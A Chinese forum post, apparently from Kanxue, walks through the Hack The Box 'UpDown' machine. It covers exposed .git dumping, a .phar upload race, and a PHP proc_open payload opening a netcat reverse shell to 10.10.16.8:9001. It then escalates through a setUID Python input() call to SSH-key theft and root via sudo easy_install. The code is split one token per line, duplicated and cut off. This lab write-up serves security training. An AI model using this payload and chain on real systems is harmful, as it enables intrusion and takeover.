-
-
[原创]HTB UpDown (MEDIUM)
-
发表于: 2022-12-20 19:29 1113
-
参考链接:https://systemweakness.com/hack-the-box-htb-updown-walkthrough-940cf677cdc
上来还是先扫端口
只开了22和80
它是个检查网站是打开还是关闭的网站
把siteisup.htb写进 /etc/hosts
跑一下子域名
发现dev,添加到/etc/hosts
直接访问http://dev.siteisup.htb/会发现403
扫一下目录
以看到有几个值得注意的目录,包括/dev、/index.php 和/index.php/login
再次使用工具 dirsearch枚举下siteisup.htb/dev
发现可访问的http://10.10.11.177/dev/.git/
我们可以使用工具 git-dumper 转储 git 存储库
git-dumper参考
https://www.freebuf.com/articles/network/332439.html
使用GitKraken打开
下载地址:https://www.jianshu.com/p/bffa58b82333
翻到一次更新,可以看到服务器有一个安全功能,需要标头“Special-Dev: only4dev”才能访问开发者站点
Special-Dev: only4dev
成功登录,这个网站可以上传文件,进行网站状态批量查询
再去看看网站代码,代码中有个checker.php
上传文件后,代码会执行以下步骤:要求文件小于10kb,检查不允许的文件扩展名,创建目录,上传文件,检查文件中找到的网站是否可用,然后从服务器中删除该文件
上传文件会在 /uploads 中创建一个文件夹,该文件夹采用上传时的 md5 哈希名称。它没有过滤掉.phar文件。
为了完成攻击,从文件上传到系统删除它,我们需要争取一些时间。向站点提供一长串要运行的URL。
上传完payload后可以在uploads目录下看到,点击该文件执行代码
可以看到代码执行成功
不能使用一些经常用于制作反向 shell 的函数,例如 shell_exec()、popen() 和 fsockopen()。但是不包括函数 proc_open。
在网站上生成一个shellcode
https://www.revshells.com/
完整代码为
开启本地监听,上传文件并执行
nc -nvlp 9001
whoami发现我们以 www-data 身份登录。看一下/etc/passwd文件夹可以看到存在developer用户
我们没有获取flag的权限
文件siteisup 有一个 setUID 位,运行可执行文件时,它会将权限设置为创建可执行文件的用户(即所有者)的权限,而不是将其设置为启动它的用户。当我们运行可执行文件时,将继承开发者用户的权限。
用strings查看下文件
它看起来像是对 python 脚本的执行调用。
cat siteisup_test.py 再看看使用的python脚本
input() 函数在这里对我们很有用,因为我们可以使用它来执行代码并检索开发人员用户的 SSH 密钥。现在我们将运行可执行文件,在出现提示时添加以下内容
保存文件后给权限,连接拿到user flag
使用 sudo -l 查看我们可以作为开发人员运行的内容
我们可以运行 usr/local/bin/easy_install
https://gtfobins.github.io/gtfobins/easy_install/
网站中向我们展示了一种使用 easy_install 程序来提升权限的方法
执行以下命令
获得root权限
rustscan
10.10
.
11.177
rustscan
10.10
.
11.177
ffuf
-
u http:
/
/
siteisup.htb
/
FUZZ
-
w wordlist
/
data
/
manual
/
2m
-
subdomains.txt
ffuf
-
u http:
/
/
siteisup.htb
/
FUZZ
-
w wordlist
/
data
/
manual
/
2m
-
subdomains.txt
dirsearch
-
u
10.10
.
11.177
dirsearch
-
u
10.10
.
11.177
python git_dumper.py http:
/
/
10.10
.
11.177
/
dev
/
.git
/
~
/
siteup
python git_dumper.py http:
/
/
10.10
.
11.177
/
dev
/
.git
/
~
/
siteup
<?php
$descriptorspec
=
array(
0
=
> array(
"pipe"
,
"r"
),
/
/
stdin
is
a pipe that the child will read
from
1
=
> array(
"pipe"
,
"w"
),
/
/
stdout
is
a pipe that the child will write to
2
=
> array(
"file"
,
"/tmp/error-output.txt"
,
"a"
)
/
/
stderr
is
a
file
to write to
);
$cwd
=
'/tmp'
;
$env
=
array(
'some_option'
=
>
'aeiou'
);
$process
=
proc_open(
'sh'
, $descriptorspec, $pipes, $cwd, $env);
if
(is_resource($process)) {
/
/
$pipes now looks like this:
/
/
0
=
> writeable handle connected to child stdin
/
/
1
=
> readable handle connected to child stdout
/
/
Any
error output will be appended to
/
tmp
/
error
-
output.txt
fwrite($pipes[
0
],
'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.8 9001 >/tmp/f'
);
fclose($pipes[
0
]);
echo stream_get_contents($pipes[
1
]);
fclose($pipes[
1
]);
/
/
It
is
important that you close
any
pipes before calling
/
/
proc_close
in
order to avoid a deadlock
$return_value
=
proc_close($process);
echo
"command returned $return_value\n"
;
}
?>
<?php
$descriptorspec
=
array(
0
=
> array(
"pipe"
,
"r"
),
/
/
stdin
is
a pipe that the child will read
from
1
=
> array(
"pipe"
,
"w"
),
/
/
stdout
is
a pipe that the child will write to
2
=
> array(
"file"
,
"/tmp/error-output.txt"
,
"a"
)
/
/
stderr
is
a
file
to write to
);
$cwd
=
'/tmp'
;
$env
=
array(
'some_option'
=
>
'aeiou'
);
$process
=
proc_open(
'sh'
, $descriptorspec, $pipes, $cwd, $env);
if
(is_resource($process)) {
/
/
$pipes now looks like this:
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!